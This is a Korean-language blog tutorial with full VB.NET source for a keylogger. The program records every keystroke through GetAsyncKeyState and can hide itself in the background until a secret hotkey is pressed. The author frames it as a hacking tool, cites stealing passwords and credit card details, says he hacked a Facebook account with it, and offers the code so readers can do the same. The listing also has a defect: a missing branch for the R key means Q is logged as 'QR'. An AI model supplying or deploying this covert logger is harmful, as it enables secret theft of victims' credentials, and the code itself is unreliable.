반응형
이 포스팅에서는 자체 해킹 프로그램을 개발할 것입니다. 이 포스팅은 vb.net에서 키로거를 만드는 방법에 관한 것입니다. 먼저 키로거가 무엇인지 살펴보겠습니다.
키로거란 무엇입니까?
Keylogger는 컴퓨터 사용자가 누르는 모든 키보드 키를 기록하는 프로그램입니다 .주로 해커가 비밀번호, 신용 카드 자격 증명 등과 같은 기밀 정보를 훔치는 데 사용됩니다.
참고: 이 포스팅는 교육 목적으로만 작성되었습니다. 나는 귀하가 이 프로그램을 사용하여 불법적으로 행하는 모든 것에 대해 책임을 지지 않습니다.
그래서 신용카드 자격 증명을 해킹하는 것 외에도 나는 보통
키로거를 사용하여 저의 페이스북 계정을 해킹해 보았습니다. 그래서 여러분도 똑같이 할 수 있도록 소스 코드를 제공했습니다. 키로거를 무료로 다운로드하려면 아래 링크를 방문하세요.
VB.Net에서 키로거를 만드는 방법은 무엇입니까?
VB.Net에서 키로거를 만드는 방법
1. 이제 GUI(Graphical User Interface) 설계부터 시작하겠습니다. 먼저 Visual Studio를 열고 새 프로젝트를 만듭니다.
2. 이제 도구 상자에서 3개의 버튼을 추가하고 이름을 시작, 중지 및 숨기기로 지정합니다. 시작 버튼은 누른 키 입력 기록을 시작하는 데 도움이 됩니다. 중지는 키 입력 기록을 중지하는 데 도움이 되며 가장 좋은 방법은 숨기기입니다.
키로거가 보이지 않습니다(백그라운드에서 실행됩니다).
3. 이제 RichTextBox를 추가하세요. 이는 기록된 키 입력을 표시하는 데 도움이 됩니다.
4. 타이머를 추가하고 간격을 170으로 설정합니다(타이머를 활성화하지 않음). GUI 디자인이 완료되었으므로 이제 코드를 작성해야 합니다.
5. 코드 보기로 전환할 수 있도록 양식을 두 번 클릭하고 이제 모든 코드를 지우고 다음 코드를 붙여넣습니다.
Public Class Form1
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Short
Public log As String
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Timer1.Start()
Button1.Text = "Started !"
Button2.Text = "Stop Recording"
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Timer1.Stop()
Button1.Text = "Start Recording"
Button2.Text = "Stopped !"
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
If (GetAsyncKeyState(65)) Then
log = log + "A"
ElseIf (GetAsyncKeyState(66)) Then
log = log + "B"
ElseIf (GetAsyncKeyState(67)) Then
log = log + "C"
ElseIf (GetAsyncKeyState(68)) Then
log = log + "D"
ElseIf (GetAsyncKeyState(69)) Then
log = log + "E"
ElseIf (GetAsyncKeyState(70)) Then
log = log + "F"
ElseIf (GetAsyncKeyState(71)) Then
log = log + "G"
ElseIf (GetAsyncKeyState(72)) Then
log = log + "H"
ElseIf (GetAsyncKeyState(73)) Then
log = log + "I"
ElseIf (GetAsyncKeyState(74)) Then
log = log + "J"
ElseIf (GetAsyncKeyState(75)) Then
log = log + "K"
ElseIf (GetAsyncKeyState(76)) Then
log = log + "L"
ElseIf (GetAsyncKeyState(77)) Then
log = log + "M"
ElseIf (GetAsyncKeyState(78)) Then
log = log + "N"
ElseIf (GetAsyncKeyState(79)) Then
log = log + "O"
ElseIf (GetAsyncKeyState(80)) Then
log = log + "P"
ElseIf (GetAsyncKeyState(81)) Then
log = log + "Q"
log = log + "R"
ElseIf (GetAsyncKeyState(83)) Then
log = log + "S"
ElseIf (GetAsyncKeyState(84)) Then
log = log + "T"
ElseIf (GetAsyncKeyState(85)) Then
log = log + "U"
ElseIf (GetAsyncKeyState(86)) Then
log = log + "V"
ElseIf (GetAsyncKeyState(87)) Then
log = log + "W"
ElseIf (GetAsyncKeyState(88)) Then
log = log + "X"
ElseIf (GetAsyncKeyState(89)) Then
log = log + "Y"
ElseIf (GetAsyncKeyState(90)) Then
log = log + "Z"
ElseIf (GetAsyncKeyState(48)) Then
log = log + "0"
ElseIf (GetAsyncKeyState(49)) Then
log = log + "1"
ElseIf (GetAsyncKeyState(50)) Then
log = log + "2"
ElseIf (GetAsyncKeyState(51)) Then
log = log + "3"
ElseIf (GetAsyncKeyState(52)) Then
log = log + "4"
ElseIf (GetAsyncKeyState(53)) Then
log = log + "5"
ElseIf (GetAsyncKeyState(54)) Then
log = log + "6"
ElseIf (GetAsyncKeyState(55)) Then
log = log + "7"
ElseIf (GetAsyncKeyState(56)) Then
log = log + "8"
ElseIf (GetAsyncKeyState(57)) Then
log = log + "9"
ElseIf (GetAsyncKeyState(96)) Then
log = log + "{Num0}"
ElseIf (GetAsyncKeyState(97)) Then
log = log + "{Num1}"
ElseIf (GetAsyncKeyState(98)) Then
log = log + "{Num2}"
ElseIf (GetAsyncKeyState(99)) Then
log = log + "{Num3}"
ElseIf (GetAsyncKeyState(100)) Then
log = log + "{Num4}"
ElseIf (GetAsyncKeyState(101)) Then
log = log + "{Num5}"
ElseIf (GetAsyncKeyState(102)) Then
log = log + "{Num6}"
ElseIf (GetAsyncKeyState(103)) Then
log = log + "{Num7}"
ElseIf (GetAsyncKeyState(104)) Then
log = log + "{Num8}"
ElseIf (GetAsyncKeyState(105)) Then
log = log + "{Num9}"
ElseIf (GetAsyncKeyState(106)) Then
log = log + "{Num*}"
ElseIf (GetAsyncKeyState(107)) Then
log = log + "{Num+}"
ElseIf (GetAsyncKeyState(13)) Then
log = log + "{Enter}"
ElseIf (GetAsyncKeyState(109)) Then
log = log + "{Num-}"
ElseIf (GetAsyncKeyState(110)) Then
log = log + "{Num.}"
ElseIf (GetAsyncKeyState(111)) Then
log = log + "{Num/}"
ElseIf (GetAsyncKeyState(32)) Then
log = log + " "
ElseIf (GetAsyncKeyState(8)) Then
log = log + "{Backspace}"
ElseIf (GetAsyncKeyState(9)) Then
log = log + "{Tab}"
ElseIf (GetAsyncKeyState(16)) Then
log = log + "{Shift}"
ElseIf (GetAsyncKeyState(17)) Then
log = log + "{Control}"
ElseIf (GetAsyncKeyState(20)) Then
log = log + "{Caps}"
ElseIf (GetAsyncKeyState(27)) Then
log = log + "{Esc}"
ElseIf (GetAsyncKeyState(33)) Then
log = log + "{PGup}"
ElseIf (GetAsyncKeyState(34)) Then
log = log + "{PGdn}"
ElseIf (GetAsyncKeyState(35)) Then
log = log + "{End}"
ElseIf (GetAsyncKeyState(36)) Then
log = log + "{Home}"
ElseIf (GetAsyncKeyState(37)) Then
log = log + "{LArrow}"
ElseIf (GetAsyncKeyState(38)) Then
log = log + "{UArrow}"
ElseIf (GetAsyncKeyState(39)) Then
log = log + "{RArrow}"
ElseIf (GetAsyncKeyState(40)) Then
log = log + "{DArrow}"
ElseIf (GetAsyncKeyState(45)) Then
log = log + "{Insert}"
ElseIf (GetAsyncKeyState(46)) Then
log = log + "{Del}"
ElseIf (GetAsyncKeyState(144)) Then
log = log + "{NumLock}"
ElseIf (GetAsyncKeyState(188)) Then
log = log + "{,}"
End If
RichTextBox1.Text = log
Dim hotkey1 As Boolean
hotkey1 = GetAsyncKeyState(Keys.K)
If My.Computer.Keyboard.CtrlKeyDown AndAlso My.Computer.Keyboard.ShiftKeyDown AndAlso hotkey1 Then
Me.Visible = True
Me.ShowInTaskbar = True
End If
End Sub
Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
MsgBox("Press Ctrl+Shift+K to make keylogger visible !", MsgBoxStyle.Information)
Me.Visible = "false"
Me.ShowInTaskbar = "false"
End Sub
End Class
빠른 팁: 오류가 발생하면 양식 이름이 Form1인지 확인하세요
반응형
'.Net-VB.Net' 카테고리의 다른 글
| Visual Basic에서 웹 브라우저를 만드는 방법 (0) | 2024.01.24 |
|---|---|
| VB.Net을 사용하여 이메일을 보내는 방법 (0) | 2024.01.24 |
| VB.Net에서 사용자 정의 버튼을 만드는 방법 (1) | 2024.01.24 |
| SQL 주입 공격 – VB.Net 데이터베이스 응용 프로그램을 방지하는 방법 (0) | 2024.01.24 |
| VB.Net에서 오류 공급자 작업 [비디오 자습서] (0) | 2024.01.24 |
